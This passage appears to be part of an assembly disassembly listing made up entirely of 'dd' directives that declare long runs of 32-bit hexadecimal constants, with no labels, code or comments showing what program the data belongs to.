		dd 59825AE3h, 2F56D58Eh, 88FE27C3h, 71BA1006h, 0D6AAE2E9h
		dd 0B720008h, 6AF82C49h, 0CFA4B00h, 3D2FF664h, 0C0D8F2C5h
		dd 22A24E60h, 8800C3C9h, 9310DEABh, 0FAC03199h,	2325059Ah
		dd 44094573h, 0C3ADFBB8h, 0F2D8DA6Fh, 1100C43Bh, 0BF20627Bh
		dd 7FC297h, 0C657C8A1h,	0B8DAF81Ch, 0BE5F4218h,	7FE93D91h
		dd 9830189h, 10AB78C2h,	167447B9h, 0D27029C1h, 119E6200h
		dd 53D0611Dh, 1DB7065h,	78A5853Dh, 893C86BFh, 190690h
		dd 2776E2A3h, 0B33A0739h, 0E7114F41h, 9F214065h, 8D01DDD4h
		dd 0DA3CD678h, 1CE03F40h, 0F6F90043h, 0F246A76Fh, 62007C8Ch
		dd 0BEA09D15h, 0EB48ADh, 0F4164392h, 1C733D4Fh,	6FA80703h
		dd 0BFE1CDD7h, 0EECB2240h, 0AEAB121Ah, 0F0210798h, 970B8101h
		dd 467DFC3Fh, 18ED311Ch, 61C6DC2h, 3CD5F0A8h, 1B00EAD1h
		dd 50BFE4C6h, 0AB009574h, 0CBD3DDD8h, 58E210h, 37A7FA1Eh
		dd 32E5C4AEh, 0F8C9CD00h, 241F7E64h, 0F67C0926h, 0E780F2D0h
		dd 29BABFA0h, 0CCE6C600h, 0B95AC407h, 0FD6B026h, 4D380108h
		dd 3C430303h, 0D0E91BF9h, 80A3F6ABh, 0D10403E5h, 10071FD8h
		dd 88CD061Eh, 9DD31D00h, 0A2791875h, 0D1C4FA64h, 0BF68CB03h
		dd 0B6C61FF6h, 11E74229h, 0EF21D1FFh, 83CC9908h, 62A2162Ah
		dd 0FAD4B8F8h, 305A3307h, 0C203E71h, 10E309AEh,	845EBD2Ch
		dd 9444DAEBh, 6F94473h,	0AD425248h, 218824D5h, 66120477h
		dd 88E66010h, 7D8974ECh, 217A24C2h, 6013DFC8h, 0AFEC5100h
		dd 76253038h, 0EE6173F5h, 0ACB73BB2h, 0ECE27280h, 872337B4h
		dd 9F7DC000h, 0A39BD2Fh, 0F880006Eh, 0BA3AAB20h, 201E85Eh
		dd 16849972h, 0D8F9F0F2h, 0C0F1DAFCh, 0C15D7660h, 0FC1D5E46h
		dd 0F3003F29h, 0ABB0388h, 990F07D7h, 0D1E085h, 0C7A394E6h
		dd 108DFD00h, 392A5852h, 0C5A7960h, 8EE334B1h, 5598B421h
		dd 14FC9600h, 3139021h,	68250071h, 0A1347BC6h, 0E305861h
		dd 37104011h, 26D503EEh, 3AA05F68h, 4F2A3A8h, 812E330Ch
		dd 7D2D1821h, 297F00F5h, 0D9546728h, 0FA008073h, 87BF422h
		dd 7C2BE8D4h, 67F801B7h, 9A107138h, 0EE3AD020h,	75A0FD03h
		dd 43CCDEh, 3E4FE560h, 0FC719E19h, 94F85C00h, 0D4BEA601h
		dd 9B820028h, 32BF2754h, 57002616h, 0EE7FAE3Eh,	1AFBA39h
		dd 0E10DCAD9h, 80B74625h, 82F29E18h, 8593C9h, 532364C0h
		dd 5E34AB68h, 500A37Ah,	0FF7BD8AFh, 0B0D21D1Eh,	0D9830016h
		dd 0EB2A497Eh, 0F0008A58h, 9889FCADh, 0F4B9AA04h, 43A500C5h
		dd 0E2423647h, 8C261A1Dh, 0D900C028h, 6CCF84F3h, 8ED43BACh
		dd 6785ED80h, 0F85D2741h, 0CBD63700h, 29A0F703h, 28B175AAh
		dd 78C5CBDh, 395D6649h,	0C5215089h, 0DE00093Dh,	0BEC90806h
		dd 8F4846h, 59EB9058h, 0CCF53BA0h, 807B653Ah, 74BC2589h
		dd 0EAF1E626h, 0C59704E5h, 80F5DFEBh, 0BB44DC2Ch, 364C24FBh
		dd 16F67100h, 55DB10C8h, 0B1D701ECh, 75B5311Eh,	0C26CCC8Ah
		dd 3E827200h, 992C42DCh, 0D710C0C3h, 5C92F4Bh, 11784500h
		dd 2DFCE60Eh, 0F4EE0019h, 5CE79A55h, 0E200172Fh, 0E65A6730h
		dd 179DB06h, 0C32580D5h, 2127407Dh, 48EC6104h, 4700C474h
		dd 0C5194899h, 58F50Ah,	0F07ABD9h, 0FF91F792h, 220A8B79h
		dd 0CC20BB53h, 0C665F300h, 1C385B51h, 3FF73C0h,	12854223h
		dd 2A07DAA0h, 184F0402h, 89772D61h, 5D0C80D0h, 1DCA56EBh
		dd 0CAA1C907h, 0FD8FE85h, 8D203399h, 0E7C7D55h,	0A41F49F6h
		dd 0F58C50D3h, 0EA8240A8h, 0A3F3E86h, 0B47D1C80h, 3B401466h
		dd 3E386800h, 73538BCBh, 174F0305h, 0D4104EBFh,	94016086h
		dd 508CC840h, 53EC975Fh, 8E8B0F37h, 51E07815h, 100AACD8h
		dd 52346100h, 59250FA0h, 8D8F011Eh, 3CCCAD63h, 7B4AD4C3h
		dd 990DF8E1h, 50D8FA00h, 0CBBE590Bh, 57161405h,	513DA03Dh
		dd 0A2280786h, 9B04103Ah, 9FECE372h, 0D0E0BC81h, 77124040h
		dd 0DA7E0070h, 6AA6D674h
		dd 7A003265h, 60A12789h, 3BD068h, 55F39E4Ch, 621C6AC4h
		dd 0B202DF72h, 0B1D9FA40h, 0BC04600Ah, 21750069h, 6BDC0EAAh
		dd 5578298Fh, 0A4EF6AC0h, 90F54Dh, 0E4F8E91Dh, 0EEE02089h
		dd 2A16C000h, 19B46E28h, 99080D92h, 0D8089736h,	53000282h
		dd 0ACAF169Ah, 3CE7C889h, 83859F61h, 0C4F6E5B7h, 0E05B87FDh
		dd 0D714C5DEh, 0BCF8491Eh, 0C88418C1h, 0A6E5EC7Ah, 898DD840h
		dd 65C00FDDh, 2EE0C58Ch, 820410CCh, 717FE198h, 7C1C2600h
		dd 5E10ACFh, 9FCC0F7Dh,	5EA04BFBh, 1B4F8886h, 992428FEh
		dd 640BC61h, 7E44C7Ah, 0A7E6B7FCh, 57A55032h, 9F242B05h
		dd 9C04C0F4h, 78804604h, 0B9FAE8h, 95A6963Ch, 0BB52027Eh
		dd 0A1282113h, 0D4235800h, 76BD295Fh, 96FF26DBh, 93F900DCh
		dd 0F656BE58h, 6533691Dh, 254CA8C0h, 98CFD0B4h,	0FEB8007Eh
		dd 7812AD20h, 85797780h, 9DEAA600h, 73CFB431h, 0C6C50F53h
		dd 5F0649AFh, 437B1074h, 0ADA11500h, 0E2BB31B5h, 1F08B06Ah
		dd 644D1838h, 944200C0h, 0E5ECF5D9h, 34A520h, 3E2167DCh
		dd 8E608DA0h, 12A4D4Ch,	282232B5h, 0B8807BA3h, 0F9254401h
		dd 9C7209C4h, 15969E00h, 0B3108679h, 7180CAFh, 0B67032A0h
		dd 40364Dh, 50AD1DB0h, 193E515h, 8DEB2C20h, 0E0FB89CEh
		dd 0BE787E9Dh, 0C83E322Eh, 640F0916h, 4D2F406Fh, 1CCBACEh
		dd 1D01364Bh, 803C3B54h, 8F733240h, 0F2B1589Fh,	0FA2B4C19h
		dd 0A0CDC828h, 0F21657C8h, 0AC133C47h, 0E1D6368Fh, 29A37AC3h
		dd 0DC63A2D1h, 4500B2E6h, 3F569970h, 339DCD1h, 4A1EF598h
		dd 4C90EB85h, 0CC39D602h, 0E5B80C6h, 0CD1D0BDh,	3590099h
		dd 0DD05A090h, 38905D4Ah, 558E5107h, 19509181h,	11C5CDh
		dd 0D1100ED6h, 97504E96h, 0F33998E4h, 82738161h, 0C2B35DA4h
		dd 0F41CE0h, 0E9DE1E7Fh, 0CD8FDD44h, 0F937F310h, 33F3401h
		dd 30C9E762h, 85020500h, 517920A7h, 4888801Fh, 0E707879Eh
		dd 182E8h, 45D96D4Bh, 447AB5A4h, 1BAF0C00h, 4FE4CB6Fh
		dd 24F500ECh, 350D7BFEh, 27247955h, 3000A076h, 538A3660h
		dd 68831C08h, 982AC024h, 37EF2888h, 638E6F00h, 702B4A93h
		dd 7D1801BDh, 9436F01Eh, 92FC4033h, 0E6003A15h,	0A3FB4DDAh
		dd 0BC8DE4h, 7CD82161h,	3F1E6323h, 0B006E700h, 74A6C688h
		dd 7019EA3Ah, 2D4C00B5h, 6F0ABC81h, 0A20951C0h,	8025C202h
		dd 61E2C79Ch, 683C0139h, 8491E905h, 1ECDE44Ch, 0B82449h
		dd 45BEFF1Fh, 5A580FE5h, 3600BE16h, 9C2ABA9Dh, 8BA0A3FCh
		dd 7CBF986Ch, 0EF8F01B9h, 0A3C11FFFh, 3FE44063h, 867B2962h
		dd 603D0200h, 700E2634h, 0B0FB5490h, 8C7BD5h, 7F75EEB6h
		dd 5D25B4D8h, 30A9DD00h, 1CA2AE94h, 3D540A03h, 0FD05E04h
		dd 764778FFh, 0E76DF080h, 9405E450h, 0DC011ABFh, 0BB8283h
		dd 0E3F56228h, 44353C83h, 49FC7300h, 0B27ECAE4h, 0FF3D0E47h
		dd 6A001877h, 0B5BEC5D6h, 0F9CA55Ch, 2054F0D7h,	4F12A7EEh
		dd 2991018Bh, 7A0F17CFh, 1D88060h, 41F1A5DEh, 3E6600A1h
		dd 7E266480h, 0E90022C0h, 0A0E775BDh, 742348h, 14AD4EE8h
		dd 0D1ED83ACh, 2CC16D00h, 79B92F93h, 40DE044Dh,	80F82226h
		dd 738F2450h, 7430ED4Ah, 60459Ch, 0D1FA359Ah, 8251F331h
		dd 6477CA12h, 8BFC0900h, 0E4E594A6h, 49801h, 713454DBh
		dd 0F27E5825h, 67701700h, 0C44866E8h, 0E4F31594h, 0E502F4EBh
		dd 0F621E30Eh, 0B2F18048h, 730462E0h, 7B94E2D7h, 337534D0h
		dd 2AB6074Bh, 90B29ACFh, 0B01ED5B9h, 0E2F34100h, 0B57CBBA6h
		dd 0A08E50F5h, 780508ECh, 0FB01714Bh, 5F5AB322h, 2D406102h
		dd 8100A151h, 41DA9D09h, 20DEC6h, 601E8901h, 832840C7h
		dd 23009478h, 634DF48Dh, 720CB1D3h, 0CE6E00A4h,	7E2D5419h
		dd 228809Dh, 408A0FBh, 82F1DE2Fh, 90391A49h, 0ED9780A0h
		dd 0C0A368D6h, 609D78E9h, 280084C4h, 5D627DA6h,	38833817h
		dd 0F9856092h, 0C4864D7Eh, 49B00084h, 0D1EB3709h, 0C8007C90h
		dd 0E44A3F5Fh, 24C5B8h,	0B140B768h, 4F98E117h, 5880D230h
		dd 90E750F3h, 603300C6h, 0F281015Eh, 952ED089h,	280F7C3Dh
		dd 3FB3C08Bh, 30A8594h,	0F21BF89Bh, 0F4C0E174h,	0A7268C6Bh
		dd 0D506109Ah, 90C0762Eh, 64C20010h, 5D0AF66Ah,	1413B32Bh
		dd 9F1FEC9Dh, 9333ABC0h, 6F76FAEh, 0F6B84176h, 49EA3016h
		dd 3C30A500h, 0FAE9F15Dh, 7181EE9Fh, 273226B2h,	12370410h
		dd 22405E70h, 30F4F1A8h, 0FFE700ABh, 676D2DC5h,	0C60025D0h
		dd 5077BB26h, 38AD88DCh, 0B001F9Ch, 0FFE57438h,	0C2304776h
		dd 1E2D717Eh, 366F2EDh,	8DC67133h, 29D362E7h, 0CFB22BD8h
		dd 30A42200h, 9DDE2EB5h, 0DC0C3C66h, 0C245E680h, 0C155E1D3h
		dd 5DCC7050h, 5B65FA0Ah, 0B501C8FEh, 88FC382Fh,	0B8253020h
		dd 0BA090350h, 44D56082h, 1593C7D0h, 0E2690B0Fh, 0E7CD45BFh
		dd 6756E890h, 0A275248Dh, 856F0388h, 0FCB2A458h, 0C0031C48h
		dd 50E22502h, 48C2FB95h, 0E0ABBD9Ch, 31A0014Bh,	62143D7Ch
		dd 69712043h, 2E23D501h, 0F8C49B9h, 0D9005821h,	12AA93E1h
		dd 9F2742h, 57CCDB7Ch, 607C8053h, 22ACF8A8h, 0A17B9310h
		dd 0D84FFF02h, 0CA0031CCh, 0EEE421Ch, 0AB0355D2h, 69C495E0h
		dd 8400E059h, 47269B2Bh, 73B8BEEFh, 6CD301B0h, 0AD118042h
		dd 387208h, 79386702h, 503ABAAAh, 2C3FF84Ah, 0C008680Ah
		dd 0BA273598h, 8FFEE200h, 0EA58E66Fh, 97F0BCh, 8A6DF353h
		dd 52D751ABh, 0A924CA04h, 0C4C0F0BDh, 25BF870h,	0C81AA1C1h
		dd 0A470234Bh, 0B2F00100h, 1CE370C4h, 0F9F800F2h, 7EDB78DCh
		dd 0B31807E4h, 71E8FF0Fh, 0B0CD2AB2h, 0FAAE72C8h, 0BA0214E6h
		dd 0C21EB042h, 5D9FC09Eh, 13850A03h, 6EF18E00h,	65C099E2h
		dd 0A5410081h, 9617D062h, 2D047B45h, 80363CEBh,	340FC0EEh
		dd 0C4003022h, 29A5EEF1h, 7F57D8D4h, 0CD890073h, 7C8CCE6Fh
		dd 70307F9Ch, 7E6BC032h, 64AF5913h, 0FDECF600h,	0C1A937A0h
		dd 476FD300h, 0AB6207Dh, 0A4181DE6h, 1F922Ah, 695D756Ch
		dd 0A00134B0h, 0DCF36B22h, 0BEF4E6ECh, 0E7B6094Dh, 40662DE9h
		dd 0C0430700h, 94153E8Fh, 0E30B3B29h, 348E9D00h, 79A1FD60h
		dd 688360F3h, 473F377Eh, 44EA8046h, 8149CCAFh, 79B85Ch
		dd 898E24D6h, 0B1864F82h, 6787949h, 39831BFCh, 7EFA12D8h
		dd 0EF7440F9h, 0FB66F25Bh, 0E0424Ch, 5851CA08h,	71DA319h
		dd 5287632Ah, 6A14F059h, 0BD5048D3h, 0A5004FC8h, 4E3FDC34h
		dd 10B4DFh, 9DFCC6B8h, 49D4E374h, 59CD243Eh, 48CE0E24h
		dd 0F5D2C00Ah, 0B9FEF50h, 291ABE33h, 58614021h,	598340Bh
		dd 1C8D4600h, 0F6E62FB6h, 57D70FF0h, 0CCA58F3Dh, 4348088h
		dd 9E5C5C2Eh, 318E50ACh, 0BF857200h, 8CC439B1h,	0B2B76630h
		dd 9C96F035h, 56CE4B00h, 78F8A2Ch, 4DCB6C19h, 0B16029Dh
		dd 6003470h, 0CE50AC0Ah, 85EB9Bh, 0C5295994h, 166C1851h
		dd 5DF1738h, 0BDD8318Bh, 8DD3E402h, 333730C9h, 989B59h
		dd 0F96CE8B4h, 13E49D4Ch, 0C8550Fh, 0C1094F5Ch,	0A87D65C5h
		dd 8B47D03h, 0E14A0EABh, 0A87055AAh, 682C2031h,	0F33CEF12h
		dd 908AA849h, 1DF5FD0h,	90E49117h, 0E85345B1h, 8D2C263Ah
		dd 4B804841h, 9F20BD34h, 13470CC2h, 8681887Ch, 0FEE3350Eh
		dd 0BCBB40C4h, 0EF1DC138h, 3C00803Ch, 69FCE621h, 76C0767Ch
		dd 40BC6527h, 6FCB18DEh, 9A1999E7h, 349EDEB0h, 5709F100h
		dd 34B29D2h, 2F5B3D4Eh
		dd 26C80217h, 3C0C5A16h, 80762C81h, 114500E2h, 945271AEh
		dd 0EA3D5998h, 0E0299DA1h, 195067C0h, 15B427Bh,	1CDC0EEEh
		dd 0F451B88Fh, 0C800BEDEh, 16A21964h, 1F49F810h, 30B7F4h
		dd 0E9B47214h, 0B500A544h, 39717055h, 4CA754h, 79968EF0h
		dd 6F219FE8h, 3C926700h, 873D3665h, 60321529h, 0F87F9491h
		dd 3114006Ch, 8F2188EBh, 0E700E8ACh, 7499DE48h,	378A383h
		dd 316D6A13h, 11E8874Ah, 0C500949Ch, 75CA054Ch,	1F256B7h
		dd 77C7558Ch, 70B3BF21h, 3F7628D9h, 0E0C9A8C7h,	0BEF3A2B0h
		dd 0F6980027h, 17FB2185h, 0DA0F0D3Fh, 0C7C904BAh, 0E870B784h
		dd 0C3ACFA7h, 68E1FDD1h, 3B246131h, 19008C59h, 10BD0B82h
		dd 0F03E0015h, 0E992DE66h, 0F8E6EC60h, 9002427Dh, 8DE8BEB2h
		dd 0D7E0895Eh, 0DECCB883h, 0D155800h, 5B4B8EFCh, 6E7EB9h
		dd 9F0B7F98h, 6B51C939h, 1459CB13h, 0D41C7700h,	0EF647ECh
		dd 0F58C2297h, 0EF3B15C1h, 0F8C871FCh, 0E756F4h, 2E4982D8h
		dd 680321h, 7FF3CB3Ah, 173FFA6Dh, 42338020h, 91F2E699h
		dd 9F453h, 609B3DADh, 0C97372EAh, 7AB32402h, 406B6AAAh
		dd 0EEA3326Ch, 14B0DEh,	0EA894EA4h, 0EFB54A78h,	0C8192204h
		dd 9892F585h, 3E4D91Bh,	6036C956h, 0F48303A8h, 66078278h
		dd 9EF5F14Ah, 7A434BB0h, 96FD04C7h, 0D0E06846h,	0F4B72FC0h
		dd 0B09AC01h, 1458375Eh, 0C5E62981h, 80766AFCh,	5A2EB811h
		dd 0BD683h, 5E10F9Ah, 706824C8h, 0B2447C50h, 60392B00h
		dd 17F5AA77h, 91B903B1h, 5F6848B8h, 1FBC9FD7h, 110140A9h
		dd 0EBFE1EDAh, 498F1507h, 418CE551h, 0E43B0020h, 21A24CE1h
		dd 3F1EE074h, 0BF4F0AF2h, 731C8040h, 30562D60h,	14A05712h
		dd 1000BCAh, 2FC47165h,	0AC94Ah, 0EF2B470Fh, 88357A85h
		dd 72DBDF02h, 0C05AD60Ch, 2579DAFFh, 0D8809244h, 0CBBAB8E5h
		dd 0E621B00h, 0BD7AC2CEh, 0A8DA3AC9h, 3AED5980h, 4DF74E76h
		dd 6A853512h, 6E934A00h, 0EC74B3AEh, 0F93100A5h, 0E6B5F780h
		dd 50F9F82Fh, 47BECD84h, 74BA51Dh, 0FE98A240h, 54C877h
		dd 7C52B6D6h, 1603AFCDh, 3F408E00h, 5BDC0567h, 0E92C0397h
		dd 18C5BDC0h, 14D087FBh, 523E904Ah, 0E8DD0C54h,	13CF1013h
		dd 14D9602h, 8EA63522h,	38D041BDh, 2F86D3Ch, 0C25C8B44h
		dd 5B904065h, 0B00BE5Ah, 1800221Fh, 2068B154h, 1201F8BCh
		dd 11D80F42h, 5FF56420h, 9B1000CFh, 630E97CDh, 0A98BC71Eh
		dd 386659C0h, 0B2C62025h, 701549C4h, 5B805100h,	0DCB33765h
		dd 56A1F00h, 54EB2B17h,	9D079BEh, 243E7A6Eh, 0A1D784A3h
		dd 2C7096F0h, 0BC832A00h, 28DB03F9h, 73170133h,	0E7C1327Ch
		dd 0AF9820F4h, 0E94D4E09h, 337C8083h, 737F2961h, 0B77C9Dh
		dd 1FEF11C2h, 0FC3E2263h, 33A51801h, 0F53F6271h, 27F4ADCh
		dd 2EE79ED4h, 0B4E07CB0h, 7A0064A3h, 726C9BB2h,	0F3EB6DAh
		dd 0E71F677Dh, 0F3198200h, 3274AD77h, 44C0DF00h, 3D85ED34h
		dd 6BAB00D7h, 1DA5C129h, 390078EFh, 7D1F62F6h, 0B890E7C0h
		dd 80C8823Ah, 5373EB73h, 37AF1C64h, 0F470C29Fh,	0EFC0E9E0h
		dd 0EC792820h, 0FFB03F7Eh, 0F3EB9700h, 0B12ED835h, 6A0C3FF8h
		dd 0B214818Eh, 0B985801Eh, 438D8F4Fh, 0F009EDE4h, 405EB701h
		dd 15F5938h, 63F2752Fh,	0C1A8DF72h, 2EFACCBAh, 41D44000h
		dd 174F023Eh, 2C375F6Ch, 0E624A40Ch, 0A800A842h, 27AC8195h
		dd 406400C6h, 7D4BFE74h, 72FC325h, 61F800E3h, 1E8AFF6h
		dd 39FF954Dh, 0C06D81A1h, 0E20078CCh, 1FC158DBh, 2C2846E8h
		dd 9C4AFCh, 603A6B32h, 0C413319Dh, 0B4D06170h, 71B9A3Bh
		dd 0D86DF444h, 247310BFh, 13FEB9EBh, 0AADACD00h, 58B56EB8h
		dd 2E6031Dh, 5616539Bh,	5750D0D0h, 18DF02Fh, 0C0050B6Ch
		dd 65A667D8h, 0A4856C35h, 0E5098434h, 180EA58h,	1BBDB620h
		dd 0F108E8E6h, 243428B3h, 6DF91DC7h, 0A3B6C76Ah, 0EE76D0B0h
		dd 3307B8F0h, 79C49337h, 3D00BD3Fh, 0FC81E2D3h,	3E1F0014h
		dd 0FEE48ABEh, 90386D6Eh, 0B2858D2h, 0E8AE1CD4h, 1DD792D8h
		dd 40F5304Ah, 0C9214408h, 8800BCFBh, 0B6B8B3FFh, 50E7C616h
		dd 7666E836h, 8EA00401h, 8335BF24h, 78540D90h, 4601F060h
		dd 0EEEFCFD6h, 4828120Fh, 3660D04h, 0AC94E0ECh,	0BAD3BE0Ch
		dd 352B990h, 35020FD6h,	29A01955h, 807DFC7Bh, 0C16E5E02h
		dd 0FA71AB8Dh, 0E2BC007Ch, 130A6985h, 18586E91h, 1A680070h
		dd 72BBA143h, 623900C2h, 3AAEB0B1h, 6600CEF4h, 337DC6C7h
		dd 0F89A7Ah, 4BA6B7A2h,	393E91Ch, 9B7A2298h, 383064E1h
		dd 498BFF00h, 5127CC73h, 2F9F0E81h, 0A1E08253h,	9B2D8A96h
		dd 37948802h, 569A8691h, 90A80028h, 95B565FEh, 0BD8DF314h
		dd 0FD9400C0h, 0E7C8AF02h, 0F033543Fh, 0DFF50024h, 0B3639248h
		dd 6C72D0CEh, 6890D570h, 84DBFA0Eh, 0E89181E2h,	998CC673h
		dd 76309948h, 0B16CD118h, 3AE27538h, 58000533h,	40F1A1B5h
		dd 0B900AA54h, 28F053FBh, 1C0937B1h, 0C0875E8Ah, 2C2F7964h
		dd 0D4F1B925h, 7B01C520h, 0D9FE9CACh, 0A0BC172Ah, 48148300h
		dd 0A348433h, 0EF6D0C13h, 0DDDB400h, 63A465h, 0CE3E6E14h
		dd 5F6A44D8h, 2CAFB900h, 43F2B79h, 65050562h, 0A75E87Ch
		dd 706C5060h, 0F8464F1h, 8D706E51h, 0E4CA2C80h,	713948F3h
		dd 6F678027h, 5D9AF068h, 0E31E07BDh, 0F075632Ch, 0CD1A7484h
		dd 669DD700h, 0AA0EE0EDh, 0B6C40595h, 0C11756C5h, 0C8D7A5B2h
		dd 2A0055C6h, 750C3F7Fh, 18060Bh, 0ACBA6E0Ah, 47E46111h
		dd 0B6601303h, 80E3C1E6h, 1E0E6878h, 0C01CD0A9h, 30060ADEh
		dd 1600E917h, 7AA6A791h, 214105h, 9A229ECAh, 8811091Ah
		dd 9B3CDA00h, 7A1E6D57h, 3E5BE6ADh, 0B00B60Ah, 0A8071292h
		dd 7E077D2Ch, 1915B174h, 0C0250663h, 0C5D6B4h, 98B5ECCBh
		dd 0CEBEF364h, 20C01717h, 7BB9C840h, 0D1386B3Dh, 0BDB10411h
		dd 0A2B852E0h, 729EF056h, 0C821664Bh, 25483DF8h, 0CC0E9AE1h
		dd 9EBAD540h, 811F3165h, 0C600245Eh, 7CB2E225h,	80A65FE1h
		dd 0E647807Dh, 0F96FFB1Ah, 4034ECFEh, 1600D617h, 2F57ECD5h
		dd 25687Fh, 97E81A96h, 0CB80ABAh, 5F7DF300h, 0E49139DDh
		dd 0C70F02BEh, 4305FD93h, 99FFD860h, 0F96D5900h, 60181926h
		dd 78C40049h, 75C5B836h, 7D00C123h, 61E6227Ch, 0B3E0EFh
		dd 0B42CE1BDh, 0D13ACD19h, 11CA1303h, 90794CD6h, 0F783566h
		dd 19E3EE3Bh, 21062280h, 8A2CF442h, 80495C6Dh, 436234D0h
		dd 80592C1Ah, 792400FCh, 3A582AB6h, 2C6FA06h, 0E7CEBA4h
		dd 0B8105BD0h, 0FE1C3040h, 2400327Dh, 903928DCh, 1DDE5E1h
		dd 5125836Fh, 2E3E2B1Dh, 0CBA67003h, 31E803FDh,	58F563Bh
		dd 0FC8E08Fh, 0E4A072BCh, 30B43CC5h, 0B6C1D0Fh,	66B8206Fh
		dd 60A55590h, 19CA11AFh, 0D026C354h, 250001F8h,	60D8B480h
		dd 7D8300B2h, 0ADD49C49h, 27000221h, 0BB861FFFh, 18C86A9Dh
		dd 7139A9E3h, 0ED007438h, 636C36B1h, 0B783DADh,	31DAC860h
		dd 0E9CE1E80h, 3B0FA08Dh, 4FB88147h, 4E3FC018h,	6ACC64h
		dd 0BCF26C57h, 728EBAF5h, 50AD3Fh, 0DB228343h, 7B42E7Bh
		dd 63076D1Ah, 0BBDD73FCh, 80D4C03Ah, 1C894870h,	247304BAh
		dd 0F3875D6h, 5D603D32h, 60A740D7h, 7246300Bh, 18286021h
		dd 56326D9h, 9AB80744h,	0ADB16C8Bh, 91538101h, 3DBD32D3h
		dd 1D80F2Fh, 3750A981h,	4E40802Dh, 5F9E92C7h, 74CE166Ah
		dd 1B1C0063h, 0F1A52E32h
		dd 4CFD4D02h, 0E949E586h, 0A460183Ch, 7B070CEh,	24319A4Eh
		dd 0E54B23EAh, 0FCEB2FE8h, 533E290Fh, 8978C035h, 121A273Bh
		dd 0C0E7927Bh, 0A503888Ch, 80FF152Dh, 5CFEE674h, 3D08E2D7h
		dd 9F80B760h, 0A846A994h, 710067D5h, 255E3CAFh,	483D17A3h
		dd 0CA07B03Eh, 0F0D241AEh, 0D32906EBh, 20D05300h, 7F78DEB0h
		dd 3686134Dh, 5CB840A5h, 0EE1CC1F6h, 0F3B83Fh, 259A9996h
		dd 0CBDCC8h, 0D5D92A1Bh, 0FCD23654h, 3D0B510Fh,	20C00FEEh
		dd 11E1BE2Bh, 0CD4E0374h, 0A5466C1Eh, 43A6FAF0h, 50E70300h
		dd 0F365CB6Bh, 86F400DFh, 5DCA1E78h, 38983C17h,	23EE0313h
		dd 0A0790C4Fh, 688D11EDh, 79D7890h, 0B80CF8AEh,	384D82A2h
		dd 86156068h, 13116500h, 491B6770h, 399900E1h, 33FF623Ah
		dd 2B008BCBh, 0ECAA2796h, 27DD0CF4h, 0A060F328h, 0BF0075A4h
		dd 0BCEAA0FAh, 94F501ACh, 939000FCh, 94C56B58h,	22F73000h
		dd 55E87FECh, 4C079DF8h, 0ED7EB02Fh, 60003912h,	248BA1FEh
		dd 0B7AB8Ch, 87AA064h, 0B5CDBCA6h, 0AF005494h, 63DF1845h
		dd 736500D7h, 0F9483EB1h, 5500E6C5h, 78A3C72Dh,	1D4A04F8h
		dd 4031214Fh, 6DE740ADh, 0C23BDC70h, 0EF3F57h, 0C918AF7h
		dd 1F4076D3h, 0DAE468h,	15FFD75Eh, 93003599h, 0CE65D9Bh
		dd 13D5F65h, 2488224Dh,	2B4CF392h, 4170BC00h, 349AF2h
		dd 9F4BCF6Bh, 64BB5AFEh, 50FFDA00h, 3189621Ah, 2ADC00D8h
		dd 71D4D3EBh, 1011E87h,	0EF54672Ch, 0C44265D6h,	18945256h
		dd 30139D35h, 0FA071E94h, 0A74BB673h, 3682A09Eh, 901EE3Ch
		dd 2C42AFA9h, 70408E8Bh, 0E701C0D7h, 0C61ABD66h, 2D2043CCh
		dd 0CED90777h, 505119B6h, 24690EABh, 0C3122F72h, 5C40BB4Ah
		dd 79B13130h, 4FB90096h, 62750AC8h, 1EFAD573h, 7457E48h
		dd 33688BA8h, 8187A780h, 0D24F38D4h, 180119C8h,	88270995h
		dd 0DA9D001h, 444BA324h, 58942801h, 3E5A1Dh, 8EDBF124h
		dd 57B8E8C8h, 0B2F0CC90h, 9BBFA600h, 71588485h,	5F5B28h
		dd 0A88252FCh, 8903691Ah, 0B8168E92h, 9C9DF868h, 94D2006Ah
		dd 0EE47E608h, 36015D21h, 0E414AB60h, 8ED0A8BDh, 3D180063h
		dd 0FC52ADE5h, 0CB310A56h, 83E3285Bh, 0E0C3A60h, 51E4E139h
		dd 0F6D1B980h, 0C6F4ABF2h, 0C20028FEh, 0E15B02EDh, 95FB85h
		dd 53AC10EAh, 4AC55451h, 7B4F0301h, 0C621FFC9h,	0BF67020h
		dd 0E692477Ch, 53F95080h, 0A02D5295h, 821AE04Eh, 0D62200CCh
		dd 89F76926h, 0BF0032AFh, 8B062E6Bh, 8A3628h, 0E44D225Ah
		dd 0F692D35Bh, 0AF0028B8h, 83AA0DD8h, 1D60257h,	0FB5FC2A0h
		dd 837B6064h, 2130B228h, 0C1E2D02Dh, 49A82h, 613EA9EEh
		dd 4B8AD30Bh, 88439A00h, 8F6FAE85h, 69820079h, 0CC6CAFE3h
		dd 4700FB61h, 0D13DD0ACh, 123D7A9h, 0DF0377C5h,	701E4C8Bh
		dd 29079F74h, 18A2697Ch, 0FB48DE50h, 3571279Ch,	0BE1F6CC0h
		dd 0B86C430Ch, 0AA6089h, 2ED32428h, 4FEE2C68h, 21275C0Eh
		dd 4C016BAh, 58DC3343h,	530C3CEAh, 14104239h, 0E10DCD00h
		dd 0E74DAC1Ah, 0F2A31D23h, 68AD8B66h, 2763A098h, 8014B92Dh
		dd 5DD62518h, 0B2F100B4h, 0B05C6B39h, 6701753Ah, 5F6D43C8h
		dd 51DC4DD6h, 9D530198h, 0C361624Fh, 0B3D464B4h, 0A8F80297h
		dd 6B82E0EFh, 0E0B0243Fh, 6EB10094h, 0B30E40D1h, 131008A4h
		dd 0D61E2578h, 0C00901D0h, 92AF5A5Eh, 0D488E520h, 0B3AD0015h
		dd 64F34814h, 2F4BE9E8h, 0E2F85C40h, 84DBF2h, 40930E87h
		dd 67A472ABh, 50E008A0h, 0E984C301h, 76E88AFAh,	0EAF22C40h
		dd 0DF80A864h, 965252Dh, 0DE081482h, 0FB03F608h, 0E43257Fh
		dd 1DCF92AAh, 8637A898h, 7BC82400h, 2C55D1ECh, 45BD0034h
		dd 0AA06EAD4h, 9D00DF7Ch, 9A6D7256h, 2EB77E0Dh,	2523B0h
		dd 985F605Dh, 0B6FC835Bh, 0FA5A2600h, 0D81DADAEh, 0CC7D18h
		dd 1164E443h, 96A39D95h, 0EA9C0B00h, 0E5EF6B0Ch, 238F0016h
		dd 78D1B2C9h, 5F014A4Bh, 594642C1h, 0CEE4EDCDh,	1AD21E0Bh
		dd 47544068h, 0AAAD6B9Ch, 52B53A00h, 66A41C7Bh,	43F440h
		dd 798A281Bh, 0DDD2A75Dh, 7AE07107h, 33003DEBh,	158BEFAh
